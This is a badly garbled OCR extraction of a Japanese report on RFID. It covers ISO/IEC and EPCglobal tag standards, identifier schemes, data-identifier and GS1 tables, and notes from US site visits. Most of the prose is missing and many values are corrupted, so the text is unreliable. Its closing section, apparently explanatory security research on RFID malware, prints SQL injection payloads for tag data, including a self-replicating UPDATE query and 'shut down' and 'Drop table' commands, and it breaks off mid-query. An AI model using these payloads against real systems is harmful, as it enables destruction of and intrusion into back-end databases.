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Web
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APM(Application Performance Management)
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3.2

2004 2005
4 2006 RFID POP
2004 4 14 6 22 2005 2 14 2 27 2005 4 26
S/L 2F
IC POP
2006 18
6F
2004 11 17 12 21 IC
-1-9 IC
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3.2.1

etc.
A

CSs
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3.2.2

-1-2
-1-2 IC
One to One MYPAGE
IC
RFID POP
IC
IC +O
MD
QR
3.3
2
4. ISO  ITU-T
ISO ITU-T -1-10
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ISO/IEC ISO/IEC I

VPN On Demand

IPsec

-1-10 I1SO  ITU-T

ISO ITU-T
UNI Terminal
ISO OSI  Layer ITU-T Layer
IEEE/IETF
Data Base etc.
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ISO ITU-T MOU
ISO
ITU-T
ID Terminal UNI

41 180

41.1

ISO

ISO/IEC/JTC1/SC31
Automatic Identification & Data Capture Techniques
ISO/TC104 (Freight Containers) ISO/TC122 (Packaging)

(JWG)
ISO/IEC/JTC1/SC31 ()
SC31 WG ()
ISO/TC104 1SO/TC122
(IWG) ()
4.1.2
UHF
18 1SO 18000-6 (UHF 860-960MHz)
AMD 1SO18000-6 Type C GEN2 A
B EPCglobal Class 1 Generation 2
C UHF ISO
EPCglobal
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ISO EPCglobal

ISO 18000-6 AMD2 1SO 18000-6
(UHF 860-960MHz) AMD
HF
1 1
( )
UHF HF 13.56MHz
UHF
1SO 18000-3 (HF 13.56MHz) 3
1SO18000-3 2 IC
ISO/IEC 15693 Tagsys
2 Magellan Technology
1
UHF
3
1SO18000-3 3 1S018000-6 C
-1-11 UHF
HF ull -1-11 BankO01
-1-11 Bank11l
10, TID [-15:01 1F,
oo, TID [31:16] oF,,
Bank 11 USER
Bank 10 TID Ol [15:0]
Bank 01 un -
20, Ull [N:N-15] 2F,
Bank 00 RESERVED 10, PC [15:0] 1F,
oo, CRC-16 [15:0] oF,
30, Access_sasswd [1 5:0] 3Fh
20, Access_ Passwd [91 :16] 2Fn
10, Kill Passwd [15:0] 1F,
00| Kill Passwd [31:16] oF,,
-1-11 ISO/IEC 18000-6 Type C
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1SO 18000

1SO15962
1SO15961
2005
ISO/IEC24791 24752 ISO
Part1 Architecture ( )
Part2 Data Management
Part3 Device Management
Part4  Application Interface
Part5 Device Interface
Part6 Security ( )
ISO/IEC15961 ISO/IEC15962  ISO/IEC18000-6
Type C

> ISO/IEC 24791

ISO/IEC 1596
ISO/IEC 15962

v ISO/IEC 18000

-1-12
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ISO/TC104-TC122/IWG
ISO 17365

2006 6 28

1SO18000-6 Type C UHF
ISO/IEC18000-3
DIS
ISO/IEC18000-3 3
413 180

ISO

4.2 ITU-T

4.2.1 NGN

ISO 17363
ISO 17366

ISO/IEC/SC31
3
FIDS

23
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NGN Next Generation Network
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-1-13 NGN
1P
NGN IP
NGN IP
422 ITU-T
ITU-T Y.2001 NGN
QoS
-1-14
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etc.

G 1P
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FMC Fixed Mobile Convergence

4.2.3 ID N-ID
ID N-1D NGN
UNI ID Terminal Equipment
NGN
ID NGN
3.1.2
-1-15

JCA-NID High Level Ref. Architecture

ID-Terminal equipment (1)

.................................................. |
_I Var. Functionsin § |
the Terminal : :
i Reade (3). 1
: 1
TAG| - _ . (public) Network _
| Writer (4) : preferable NGN (7) e.g. service (g
. : |
. attachment (5) 1
| N
................. l | Terminal equipment (9)
: 0) ) k
etworl e.g. remote Inquire /
TAG-Interface (1) Network f Reference Point i
Could be: Reference Point / Interface (UNI) 3rd party Terminal
Infrared Interface (UNI) a2
RF
Optiical
Galvanic
etc.
-1-15 N-ID
N-1D 1D
1D
1D -1-16
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2.5 ASEAN

1,000
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ASEAN
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ISO/IEC15394
Label)

3.1

34

(GTL.: Global Transportation
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16 26%
10%
57%
6% 16%
11 22% 83 94%
50%
67%
86%
60 300
93% 70% 92%
55% 76%
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EDI

3.5 ASEAN
12 /
1
J-FRONT
1.5% ASEAN
30 12.5%
560
100%
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4.1
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100%
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Fail Safe
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EPC

Class1Generation2

49

EPCIS
URI URL
ID
C1G2 ISO
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2.1
10 28 California Savi TECHNOLOGY
10 31 Seattle Impinj
10 31 Seattle Boeing
11 2 Los Angeles UCLA RFID WINMEC
11 3 Las Vegas Progressive Gaming
11 3 Las Vegas McCARRAN
11 3 Las Vegas Wynn H LAS VEGAS

2.2 Savi TECHNOLOGY

2006 10 28

) 15 Lockheed Martin
[ ]
o NATO
46 3 5
150
[ )
[ ]
1
o 2
o 3
> Site Manager, Mobile Manager, SDK
> Smart Chin Enterprise Platform ERP SAP

50

100




Web

> GUI
o GPS RSSI
2.3 Impinj
2006 10 31
o 100 20
o 2000 9
) 75 Million 60 Million
e Chip/Reader 10 Chip
o Chip ¢2/Chip (

2006/8
Memory

LBT

User Memory 64bit Chip
Baggage

DVD
100

51

Chip

2MH

)

2007
(BT-11

LBT(

)



2.4 Boeing

2006 10 31

BOEING TSA
12 Auto-1D

52
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13.56MHz

~’~|T CONTROL COMPUTER

WT 23.6 LB

COLLINS PNR E 1 -8757-
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MFR DATE 9301

-3-1

FedEx
40

13.56MHz
UHF

-3-2 Auxiliary Hydraulic Pump
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FAA
UHF
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Process improvement enabler
Rework reduction
Safety
Accountability
Component tracking
Root-cause analysis
Configuration management
Theft and loss prevention
Communication
Counterfeit parts
Warranty and component life cycle management
Regulatory compliance tracking
Paperless transaction
Modification level
Supply chain management
Rogue parts
Routine and non-routine maintenance actions
Issues related to lots
Material analyst information source
Task yield

Part number

Serial number
Manufacturer
Fabricator

Date of manufacture
Country of origin

54



e  Modification level

e Warranty expiration date

e Weight

e Part description nomenclature

e Lot number

e Hazardous material code

e Electrostatic sensitive device

e Shelf life expiration date

e  Software part number

e Airworthiness certificate tracking number

8K

45 /

-3-3 787 RFID

55
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2007 5 10
2008 8 787

77

2.5 UCLA RFID WINMEC
WINMEC Wireless Internet For The Mobile Enterprise Consortium)

2006 11 2

40 50

6
Supply Chain Smart Shelf Library System RF-DVD Personal & Asset Tracking
Specimen Track
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Supply Chain 3
Smart Shelf

Library System

RF-DVD DVD

Personal & Asset Tracking LF HF UHF

Specimen Track RFID

2.6 Progressive Gaming

2006 11 3

90 10
IP (Intellectual Property)

300

50% Game Content Licensing

50% Casino Link Integrated Management

System Integrated and modular
Casino management System
Jack Pot
EPCglobal
WynnHotel Hotel
ID
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Material Receivina  Chip certification

=>
(D& A,

S o
AR kg — L
OnCF=280E

3-4

TMS(Total Management System)

Build reports needed to Track inventory and chip movement

CMS interface definition
CMS
Expand options =

Add Ancillary Equipment Mapping

58




T
S e
\ﬂ*

rhE

2.7 McCARRAN

2006 11 3
Las Vegas(McCarran) Las Vegas
IT
. 1120ha
e Check InBag 73000Bag/
o Ranking 5 10
o Ranking 2 1 Los Angeles
e X 17
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° 6.4km

13
McCarran Baggage Handling System BHS
100% 99% )
70 (4Antenna/Reader) IATA CUSS
MG(International Air Transport Association Common Use Self Service Management
Group) 21 inch 100M Tag
¢21.5/Label
TSA Baggage
ROI (
)
85-90% 99.5% 10
Baggage Label BHS 6
$125M

2.8 Wynn Hotel LAS VEGAS

2006 11 3

125KHz
$25,000 $50,000
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GPI Gaming Partners, Inc.
$25 $100 $500 $1,000 $5,000
200
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EPC ISO 15459 Part 4

2
ISO/IEC 15418 Al/DI

OoID
2 Al/DI  OID
Al/DI  OID
Al/DI  OID
Al/DI  OID
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2.1
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2.2 1SO/IEC 15459 Part 1
ISO/IEC 15459

Partl Transport
Unit

ISO/IEC 15459 Part 1

EDI
ASN : Advanced Shipping Notice

(ASN)
R

-2 ISO/IEC 15459 Part 1
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ISO/IEC 15459 Part 1 -3

NEN The Nederlands Normalisatie-instituut
ISO/IEC 15459 Part 2 NEN

http://www2.nen.nl/getfile?docName=196578
http://www2.nen.nl/getfile?docName=196579

GS1 GS1
Apprication GS1 ( ) ( )
Identifier Al
\(IAC) \ r
| | 11 ] | [

("sscc (00) 0 00 98756 000000011 5 )

T

GS1  SSCC(Serial Shipping Container Code)

-3 ISO/IEC 15459 Part 1

2.3 I1SO/IEC 15459 Part 4

ISO/IEC 15459 Part 4
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1 1 1ISO

ISO/IEC 15459 Part 4 15
ISO/IEC/SC31/WG2
ISO/IEC 15459 Part 4 -4
D 1U2R7 000110780
( )
NATO 135 ( )
[CAG/NCAGE]
NATO 135
(IAC)
-4 1SO/IEC15459 Part 4
URL

http://www.meti.go.jp/kohosys/press/0003896/0/030401ic.pdf
http://www.meti.go.jp/kohosys/press/0003896/1/030401ic-report.pdf

2.4 1SO/IEC 15459 Part5

RTI Returnable Transport
Item ISO/IEC 15459 Part 5
ISO/IEC 15459 Part 5 -5
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oD SYST 000110780

RTI RTI (
RTI ( ) ODETTE
ODETTE
(IAC)
-5 ISO/IEC 15459 Part 5 RTI

ISO/IEC 15459 Part 5

-6
ISO/IEC 15459 Part 5

-6 ISO/IEC 15459 Part 5



Auto ID ClassO Classl

64bit  98bit

Class 1 Generation 2 (C1G2)

C1G2
1000
1 500
1 0.5
/

2.5 1SO/IEC 15459 Part 6
2.5.1 1SO/IEC 15459 Part 6
ISO/IEC 15459 Part 6

ISO/IEC 15459 Part 6
ISO/IEC/SC31/WG2 -7
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1000



i

ISO/IEC 15459 Part 4

YY)

etc.

ISO/IEC 15459 Part 6

-7 I1SO/IEC 15459 Part 6

ISO/IEC 15459 Part 6

-8 ISO/IEC 15459 Part 6

ISO/IEC/SC31/WG2

( )
ISO/IEC/SC31/WG2

71



CD Committee Draft

CD
FCD Final Committee Draft FDIS
Final Draft International Standard

2.5.2 ISO/IEC/FCD 15459 Part 6

ISO/IEC 15459 Part 4
ISO ISO/IEC 15418
ASC MH10.8.2 ( Dl ) 25S
25T DI -

ISO/IEC 15459 Part 6 2
DI 25T
ISO/IEC 15459 Part 4
Dl 25T ISO/IEC 15459 Part 6

ISO/IEC 15459 Part 4 DI 25T

ISO/IEC 15459 Part 6
ISO/IEC 15459 Part4  ISO/IEC 15459 Part 6 -9
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No

No

Yes

ISO/IEC 15459 Part 4

Yes

ISO/IEC 15459 Part 6

Part

FCD
18
FCD
FCD

-9

C

D

ISO/IEC 15459 Part4 Part6

ISO/IEC 15459

Part1 Part4 Part5 Part6
ISO/IEC/FCD 15459 Part 6 18 10
27 22
2 1
18 11 16

BRM Comment Resolution meeting
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Part

Part



BRM FDIS Final Draft
International Standard ISO/IEC/SC31/WG2
ISO/IEC/SC31 19 3 2 FIDS
5 FIDS

2.5.3 ISO/IEC/FCD 15459 Part 6

ISO/IEC15459 Part 6 -10

LA 506022000001 2007022712345

JIPDEC/ECPC

JIPDEC/ECPC
(IAC)

-10 ISO/IEC 15459 Part 6
ISO/IEC 15459 Part 6
50

ISO 646

ISO 646
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2.5.4 ISO/IEC 15459

ISO/IEC 15459 Part5 Parté FDIS
ISO/IEC 18000 Part 6 Type C ISO/IEC 18000 Part 3 Mode 3
ISO/IEC 15961 ISO/IEC 15962 ISO/IEC 15459
ISO/IEC 15961 ISO/IEC 15962

ISO/IEC/SC31/WG4/SG1  ISO/IEC/SC31/WG2

3.
RFID Radio Frequency ldentification
Identifier
EPCglobal ISO/IEC
ISO/IEC 18000 Part 6 Type C(GEN2 C1G2 ) -9
01
Ull 11 USER
MSB LSB
10, TID [15:0] 1F,
00y, TID [31:16] OF;,
Bank 11 USER
MSB LSB
Bank 10 TID Ul [15:0]
Bank 01 ull
20, UII [N:N-15] 2F;,
Bank 00 RESERVED 10, PC [15:0] 1Fy
00, CRC-16[15:0] OFy,
MSB LSB
30, Access Passwd [15:0] 3F,
20, Access Passwd [31:16] %,
10, Kill Passwd [15:0] 1F,
00 Kill Passwd [31:16] OF,

-11
(ISO/IEC 18000 Part 6 Type C ISO/IEC 18000 Part 3 Mode 3)
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ISO/IEC 18000 Part 6
ISO/IEC 18000 Part 3 13.56MHz:HF
ISO/IEC 18000 Part 6 Type C
ISO/IEC 18000 Part 3 Mode 3 3M3
ISO/IEC 18000 Part 3 Mode 3

Mode 1 ISO/IEC 18000 Part 3 Mode 2
3.1
uUll
ISO/TC104 ISO/TC122
JWG -12

76

UHF

ISO/IEC 18000 Part 3

TC



B g
SRR
alat oo
B e 5

>

N i

-12

““Supply

-12

ISO/TC122IWG

ISO/TC104
chain applications of RFID*~
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ISO 17363 ISO 10374 *“container tag” | ISO/IEC 18000 Part 7 433MHz
ISO/IEC 15459-5 ISO/IEC 18000 Part 6 Type C (UHF)
ISO 17364 Global Returnable Asset
Identifier (GRAI) 18000 Part 3 Mode 3 (13.56MHz)
ISO/IEC 15459-1 ISO/IEC 18000 Part 6 Type C (UHF)
ISO 17365 Serial Shipping Container
Code (SSCC) 18000 Part 3 Mode 3 (13.56MHz)
ISO/IEC 15459-4 ISO/IEC 18000 Part 6 Type C (UHF)
ISO 17366 | Serialized Global Trade Item
Number (SGTIN) 18000 Part 3 Mode 3 (13.56MHz)
ISO/IEC 15459-4 ISO/IEC 18000 Part 6 Type C (UHF)
ISO 17367 | Serialized Global Trade Item
Number (SGTIN) 18000 Part 3 Mode 3 (13.56MHz)
-1 1
ID
3
1
3
-13
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-13 1 2
2 5 ISO/IEC 18000 Part 3
Mode 3 18000 Part 3 Mode 3
FDIS
3.2
2
AIDC
ISO/IEC 15418 Al/DI
oSl OID
2
Al/DI  OID Al/DI
OID Al/DI
OID
Al/DI  OID
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3.2.1 1SO/1EC 15434

ISO/IEC/SC31/WG2
ISO/IEC 15434 1 (

) 2 EDI
-2 Al/DI EDI

-2 ISO/IEC 15434

00
01 GsW RS
02 EDI
03 | wwmFgCGglq Rg | ANSIASC x12
04 [wimFgCGglg Ry | UN/EDIFACT
05 | Cg Ry |Gs1 Al
06 |Cg Rg  |ASCMH 10 DI
07 Rg
08 vvvvrrnn Cll
G G G
g fit..t ¥g ccc..c “g R
09 nnn...n GS S ( ) ( ) ( )
10-11
1 TEI
12-99
-2 05 Al 06 DI
2
EDI XML
ISO/IEC 15434 ISO/IEC/SC31/WG2
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XML

10 -2

3.2.2 ISO/1EC 15961 1SO/IEC 15962

XML

ISO/IEC 15961 Part 1 Application Interface

ISO 8824 JIS X 5603
1ISO 8825 JIS X 5604 BER ASN.1
Basic Encoding Rules ASN.1
oID
ISO/IEC 15961  ISO/IEC 18000 Part 6 Type C
18000 Part 3 Mode 3 -11
-14
A
ISO 8824 (ASN.1)
A 4
A
ISO 8825 (BER)
-14 I1SO/IEC 15961 ISO/IEC 15962
ISO 8825 JIS X 5604 BER

-15

81

ASN.1
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OoIb
-15 BER
-15
Al DI
3.23 0ID Al DI
ISO/IEC 159610I1D 1ISO OID
OID OoID ISO
-16  ISO/IEC 15434 4

oID

1 0 15434 5

A A A
ISO/IEC15434 4 Gs1
Al
ISO ISO/IEC
ISO
ISO OID
-16 ISO/IEC 15434 4 OoID
oID oID Al oID
Al 01

OID

82



18

-17

-17

-15 Basic Encoding Rules oID

16 16
OoID
AIDC
ISO/IEC 15961 ISO/IEC 15434
AFI
ISO/IEC 15459  ISO/IEC 15961
ISO/IEC 18000 Prat6 Type C /IEC 18000 Part3 Mode 3
-11 01 ull PC
ISO/IEC 15961 PC
NSI
A
- N
10h 14h 15h 16h 17h 18h 19h 1Ah 1Bh 1Ch 1Dh 1Eh 1Fh
utl 0 |0
A \ /
Y
AF1
0 EPC
1S0
-17 PC ISO/IEC 18000 Prat6 Type C PC
PC 17 0 EPC
17 0 1ISO EPC

1F AFI

83
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AFI ISO/IEC 15961 2004 3
ISO/IEC 15961 2004 AFI
AFI (16

9lh 97h GS1

98h 9fh
Alh ANS MH10.8.2 DI
A2h ANS MH10.8.2 DI
A3h ANS

VH10.8.2 DI

A4h  AFh
B1h 1SO/1EC 15459
B2h 1SO0/1EC 15459
B3h 1S0/1EC

15459

B4h BF
C1h IATA

C2h CFh

AFI NEN  AIM

NEN
ISO/IEC 15459 ISO/IEC 15961
NEN AIDC
AFI

62

IATA
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3.24

oID Al DI

ISO/IEC/SC31/WG4/SG1 ISO/IEC
15434 ISO/IEC 15961
ISO/IEC 15962
ISO 15434  ISO/IEC 15961
AFI

ISO/IEC 15961
EDI
ISO/IEC 15434

oID ISO/IEC
15961 ISO/IEC 15962
ISO/IEC 15961 ISO/IEC 15962
ISO/IEC/SC31/WG4/SG1  1SO 15434 ISO/IEC/SC31/WG2
AIDC 1ISO 15434
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4.1
2006
-2 -3 -4
HTML

XML SQL

URL URL

usB
4.1.1 1SO/1EC 15434 07 09
) 2
EDI
SQL URL

-18

ISO/IEC 15434

/Q/'

-18

07 09
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4.1.2

EDI
HTML
XML SQL

EDI

-19

-19
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4.2

SQL

IC RFID

ACL

PDA
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RFID Guardian -8

-9
-10
RFID 1940

-11

5.
Identifier ISO/IEC JTC1/SC31/WG2
ISO/IEC 15459 Part 6 19 3 2 FDIS
19 5
ISO/IEC 15961 ISO/IEC 15962
ISO/IEC 15961 ISO/IEC 15962 AIDC
OoID

ISO/IEC/SC31/WG4/SG1  ISO/IEC/SC31/WG2

19

89






ANS MH10.8.2

Dl(Data Identifier

MH10.8

HIBCC)

AABB)

(1SBT)

(GIBC)

A-999A

A-999A

B-999B

1B

( (ULD)

2B

(Do)

3B

(1S0)

4B

(SCAC) (an4- 4 )

an4+an..10

http://www.nmfta.org/scac2.
htm

5B

ISO/IEC 15459

EDIFACT 8053 UPU M82-3
3 3

an..35

6B

7B

BIC

B OCElI CSN CD
OC BIC El BIC
CSN CD 1S06346 AnnexA
11

an2+anll

8B

BIC

an2+an3

9B

1SO 6346

10B

4 DOD
Defense Transportation Regulation App EE-6

118

Van

12B

11B Van

13B

14B-24B

25B

18V (RTI)

an3+an..35

26B-999B

C-999C

[}

1C

( 20)

2C

3C

4C

5C

6C-999C

D-999D

né

D

né

D

n6

2D

n4

3D

n5

NSRRI RS

4D

2

5D

I1SO ANS X12.3 ED 374

né+an3

ANS X12.3 DE374

6D

I1SO ANS X12.3 ED 374

n8+an3

ANS X12.3 DE374

7D

n4

2

8D

9D

10D

n4

11D

né

12D
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J-999J
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to be unique world wide .
requires: 1) A unique 1)
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18v
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NATO (NSN)

an13..15

NO.

IN

(CIDX)

2N

3N

(EIAJ)

4N

UCC/EAN ( AI)(UCC/EAN)

5N

AIAG http://www.aiag.org/projects/project list_ 5n.html

6N

( DoD MILSTRIP)

7N

( DoD MILSTAMP)

8N - 9N

10N

DoD ATOS

11N - 999N

0-9990

0-9990
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P-999P

P

1P

2P

3P

12/13 UCC/EAN /

nl3.14

4P

UCC/EAN

5P

6P

7P

(CLEI)

CLEI

https://codecenter.commonlang
uage.com/cc_downloads.asp?
WebPageType=I&CodeSet=E

8P

SCC-14 14 UCC/EAN

ni4

9P

Dun & Bradstreet 9 DUNS

10P
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X12 DE208 DE209

11P

10 CLEI

an10

12pP

13P

14P

15P

16P
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18P

VMRS ID
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23P

24P

alslw|n|e

25P

V18

26P
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(MSDS)

41P - 999P

Q-999Q

Q
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3Q
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v 2
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€
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11Q
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R-999R
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1R
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2R

3R

4R

(DoDIC)
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http://www.tpub.com/g
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5R - 999R

S-999S8
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1s
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396)

an2..30

X12 DE 396

396 Shipment Identification
TYPE=AN MIN=2 MAX=30
A unique control number
assigned by the original
shipper to identify a specific
shipment

SEGMENTS USED IN (AS
SIMPLE): BSN
TRANSACTION SETS
USED IN: 856

3s

4S8
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7S
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8S
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nig

9S8
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13s

14s

(13v

16S

17s
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CAGE CAGE

an5+an..20

19s

Dun & Bradstreet
nn.n+nn..n DUNS
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21s

http://www.nhtsa.dot.gov/ca|
rs/rules/TireSafety/ridesonit
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228

23S

IEEE802.11 MAC)

anl2

IEEE802.11

IEEE
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53S
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96S
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T-999T
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2T
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25T

18v
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U-999U
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15U
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v
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11v
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13v
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14v
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n9..13

15v

16V
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v
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Government Entity DoD
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18v
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1 ISO/IEC 15459
2
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19v
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12w

13W-999wW
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X-999X

X-999X
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Y-999Y

Y-999Y

26

Z-999Z

z
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2z

3z

4z

52-92

10z

11Z-992

100Z-999Z
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-1 GS1 Al(Application Identifiers

Al Data Content Format
00 Serial Shipping Container Code (SSCC) SSCC-18 n2+n18
01 Global Trade Item Number (GTIN) Fixed Measure (f.k.a. SCC-14) GTIN) SCC-14 n2+nl14
GTIN of trade items contained in a logistic unit (Must be used with Al 37) GTIN AI37 n2+nl4
Batch or Lot Number n2+an...20
11 (*) Production Date (YYMMDD) n2+n6
12 (% Due Date (YYMMDD) n2+n6
13 (% Packaging Date (YYMMDD) n2+n6
15 (% Minimum Durability Date (YYMMDD) (f.k.a Best Before / Quality) (Sell By Date: n2+n6
7 *) Maximum Durability Date (YYMMDD) (f.k.a Use By / Safety) n2+n6
Product Variant hiBBC n2+n2
21 Serial Number n2+an...20
22 HIBCC - Quantity, Date, Batch, and Link HIBBC n2+an...29
23 (*%) Lot Number (Transitional Use) ( ) n3+n...19
240 Additional Product Identification Assigned by the Manufacturer n3+an...30
241 Customer Part Number n3+an...30
250 Secondary Serial Number 2 2 n3+an...30
251 Reference to Source Entity n3+an...30
52 Global Identifier Serialized for Trade (GIST) n3+n27
Variable Count (f.k.a. Quantity) n2+n...8
310 (***) Net Weight, Kilograms n4+n6
311 (***) Length or 1st Dimension Trade, Meters n4+n6
312 (**%) Width, Diameter, or 2nd Dimension, Trade, Meters n4+n6
313 (***) Depth, Thickness, Height or 3rd Dimension, Trade, Meters n4+n6
314 (*** Area, Trade, Square Meters n4+n6
315 (*** Net Volume, Liters n4+n6
316 (***) Net Volume, Cubic Meters n4+n6
320 (***) Net Weight, Pounds n4+n6
321 (***) Length or 1st Dimension, Trade, Inches n4+n6
322 (***) Length or 1st Dimension, Trade, Feet n4+n6
323 (***) Length or 1st Dimension, Trade, Yards n4+n6
324 (**%) Width , Diameter, or 2nd Dimension, Trade, Inches n4+n6
325 (***) Width, Diameter, or 2nd Dimension, Trade, Feet n4+n6
326 (***) Width, Diameter, or 2nd Dimension, Trade, Yards n4+n6
327 (***) Depth, Thickness, Height or 3rd Dimension, Trade, Inches n4+n6
328 (***) Depth, Thickness, Height or 3rd Dimension, Trade, Feet n4+n6
329 (***) Depth, Thickness, Height or 3rd Dimension, Trade, Yards n4+n6
330 (***) Gross Weight, Kilograms n4+n6
331 (*** Length or 1st Dimension, Meters Logistics n4+n6
332 (***) Width, Diameter, or 2nd Dimension, Meters Logistics n4+n6
333 (***) Depth, Thickness, Height or 3rd Dimension, Meters, Logistics n4+n6
334 (*** Area, Square Meters Logistics n4+n6
335 (*** Gross Volume, Liters n4+n6
336 (***) Gross Volume, Cubic Meters n4+n6
337 (*** Kilograms per Square Meter n4+n6
340 (***) Gross Weight, Pounds n4+n6
341 (***) Length or 1st Dimension, Inches Logistics n4+n6
342 (***) Length or 1st Dimension, Feet Logistics n4+n6
343 (***) Length or 1st Dimension, Yards Logistics n4+n6
344 (***) Width, Diameter, or 2nd Dimension, Inches Logistics n4+n6
345 (***) Width, Diameter, or 2nd Dimension, Feet Logistics n4+n6
346 (***) Width, Diameter, or 2nd Dimension, Yards Logistics n4+n6
347 (***) Depth, Thickness, Height or 3rd Dimension, Inches, Logistics n4+n6
348 (***) Depth, Thickness, Height or 3rd Dimension, Feet, Logistics n4+n6
349 (***) Depth, Thickness, Height or 3rd Dimension, Yards, Logistics n4+n6
350 (*** Area, Trade, Square Inches n4+n6
351 (*** Area, Trade, Square Feet n4+n6
352 (***) Area, Trade, Square Yards n4+n6
353 (*** Area, Square Inches, Logistics n4+n6
354 (***) Area, Square Feet, Logistics n4+n6
355 (***) Area, Square Yards, Logistics n4+n6
356 (***) Net Weight, Troy Ounces n4+n6
357 (*** Net Volume, Ounces (U.S.) ) n4+n6
360 (*** Net Volume, Quarts n4+n6
361 (***) Net Volume, Gallons (U.S.) n4+n6
362 (*** Gross Volume, Quarts n4+n6
363 (***) Gross Volume, Gallons (U.S.) ( n4+n6
364 (***) Net Volume, Cubic Inches n4+n6
365 (***) Net Volume, Cubic Feet n4+n6
366 (***) Net Volume, Cubic Yards n4+n6
367 (***) Gross Volume, Cubic Inches n4+n6
368 (***) Gross Volume, Cubic Feet n4+n6
369 (***) Gross Volume, Cubic Yards n4+n6
37 Count of Trade Items Contained in a Logistics Unit (For Use with Al 02 Al 02 n2+n...8
390 (*** Amount Payable — single monetary area n4+n..15
391 (***) Amount Payable — with ISO currency code ISO n4+n3+n..15
392 (*** Amount Payable for a Variable Measure Trade Item — single monetary area n4+n..15
393 (*** Amount Payable for a Variable Measure Trade Item — with ISO currency ISO n4+n3+n..15
400 Customer's Purchase Order Number n3+an...30
401 Consignment Number n3+an...30
402 Shipment Identification Number n3+nl7
403 Routing Code n3+an..30
410 Ship To (Deliver To) - EAN/UCC Global Location Number EAN/UCC n3+n13
411 Bill To (Invoice To) - EAN/UCC Global Location Number EAN/UCC n3+n13
412 Purchased From - EAN/UCC Global Location Number EAN/UCC n3+n13
413 Ship For - Deliver For - Forward To EAN/UCC Global Location Number EAN/UCC n3+n13
414 Identification of a Physical Location, EAN/UCC Global Location Number EAN/UCC n3+n13
415 EAN/UCC Global Location Number of the Invoicing Party EAN/UCC n3+n13
420 Ship To (Deliver To) Postal Code Within a Single Postal Authority n3+an...9
421 Ship To (Deliver To) Postal Code With 3-digit ISO Country Code Prefix 3 ISO n3+n3+an...9
422 Country of Origin of a Trade Item n3+n3
423 Country of Initial Processing n3+n...15
424 Country of Processing n3+n3
425 Country of Disassembly n3+n3
426 Country covering full process chain n3+n3
7001 NATO Stock Number (NSN) NATO NSN) n4+n13
7002 UN/ECE Meat Carcasses and Cuts Classification UN/ECE n4+n...30
703(s) Approval number of processor with ISO country code ISO n4+n3+an..27
8001 Roll products - Width, Length, Core Diameter, Direction, & Splices & n4+nl4
8002 Electronic Serial Number for Cellular Mobile Telephones n4+an...20
8003 Global Returnable Asset Identifier (GRAI) n4+nl4+an...16
8004 Global Individual Asset Identifier (GIAI) n4+an...30
8005 Price Per Unit of Measure n4+n6
8006 Identification of the Component of an Article n4+n14+n2+n2
8007 International Bank Account Number n4+n18
8008 Date and Time of Production (YYMMDDHHMMSS) n4+n8...12
8018 Global Service Relation Number n4+n18
8020 Payment Slip Reference Number n4+an..25
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8100 Coupon Extended Code - Number System Character and Offer n4+nl+n5
8101 Coupon Extended Code - Number System Character, Offer, and End of n4+nl+n5+n4
8102 Coupon Extended Code - Number System Character preceded by zero n4+nl+nl

90 ANS MH10.8.2 Data Identifiers (Information Agreed Between Trading ANS MH10.8.2 n2+an..4+an...26
91 Intra-Company Internal n2+an...30

92 Intra-Company Internal n2+an...30

93 Intra-Company Internal n2+an...30

94 Internal n2+an...30

95 Internal - Carriers n2+an...30

96 Internal - Carriers n2+an...30

97 Intra-Company Internal n2+an...30

98 Intra-Company Internal n2+an...30

99 Internal n2+an...30

*) To indicate only year and month, DD can be filled with "00" DD 00

** Plus one digit for length indication

(***) Plus one digit for decimal point indication

) The definition of 400 has been modified to allow order, release, and line 400

numbers, at the discretion of the issuer

Date Value Representation:

a alphabetic characters (chars)

n_ numeric chars

an alpha-numeric chars

n3 3 numeric chars, fixed length

an3 3 alpha-numeric chars, fixed length

n..3 up to 3 numeric chars

a...3 up to 3 alphabetic chars

W W W w w

an...3  up to 3 alpha-numeric chars

s sequence in the process
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RFID RFID
RFID
RFID RFID SQL
RFID
RFID
RFID
RFID
RFID sQL
RFID
1.
RFID
Seth RFID
RFID
LCD
1
RFID RFID

! http://en.wikipedia.org/wiki/All_your_base_are_belong_to_us
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RFID
RFID
11 RFID
RFID
RFID
12

RFID
SQL
RFID
RFID
RFID
RFID
RFID
RFID SwW
RFID Pervasive Computing
RFID
RFID
Mark Weiser
RFID
RFID
RFID
[6] RFID
RFID
RFID
RFID
RFID
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RFID

[4]

RFID

[8]
RFID

RFID

DoS RFID
RFID
DoS

VeriMed RFID

RFID

RFID FoeBuD

RFID
RFID
RSA
RFID
RFID
RFID
2
RFID
RFID
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RFID RFID

2. RFID
RFID
RFID RFID
RFID
RFID
RFID
RFID
1.
RFID RFID
3
1,000 6 16
[7] RFID
RFID
2.
RFID
EPCglobal DNS
URLs XML
3.
RFID
RFID RFID SAP
Oracle
® RFID RFID
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RFID RFID
RFID
RFID
IT
5.
RFID RFID
RFID RFID
7
3. RFID
RFID RFID
RFID
RFID 1K
RFID RFID
RFID
1.
1988 2001 SQL 2003
C C++

strcpy strlen strcat  sprintf
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gets null strncpy  snprintf  strncat

[1]
[3]
RFID RFID
RFID 1024
ISO-15693 write multiple
blocks RFID
RFID
RFID Guardian
RFID [17]
VBScript CGI Java Javascript Perl
HTML
XSS
1
< > 77 ] % ; ) ( & + _
URL
WwWww
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RFID RFID

RFID

EPCglobal RFID

RFID
SQL
SQL SQL
SQL
DB
Muicrosoft SQL Server Xp_cmdshell
e_
RFID RFID
SQL RFID
SQL
[5]
; shut down—
12 SQL 1
Drop table <tablename>
SQL
DB RFID
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3.1 RFID

[19]
e_
1
RFID RFID
RFID RFID
RFID
RFID RFID
EPCglobal
ONS ONS
DNS []
RFID
RFID RFID RFID
RFID
RFID
RFID RFID
4. RFID
RFID
RFID
RFID
4.1
RFID
RFID
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RFID

RFID RFID
41.1
RFID RFID
RFID
1 RFID
RFID
New Container Contents
1. New Container Contents
TaglD) | ContainerContents
123 Apples
234 Pears
123 RFID 234
42 RFID
RFID RFID
RFID SQL
RFID SQL
SQL
New Container Contents Container Contents
Container Contents
RFID
RFID
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RFID
RFID
RFID

Contents=Raspberries; UPDATE NewClontainerContents
SET ContainerContents = ContainerContents ||
i [SQL Inmjection]’’;

RFID

421

SQL

[5QL Injecticn] = UPDATE MewContzinerContents
SET ContainerContents = ContainerContents ||
**:[8QL Injection]’’;:

SQL

RFID
Oracle

SELECT 5QL_TEXT FROM v$sgl WHERE INSTR({
S0L_TEXT,” *' )»0;

Postgres MySQL  Sybase
get current query

Contents=Raspberries;
UPDATE NewContainerContents SET ContainerContents=—

ContainerContents || *77 || CHER(10} || (SELECT
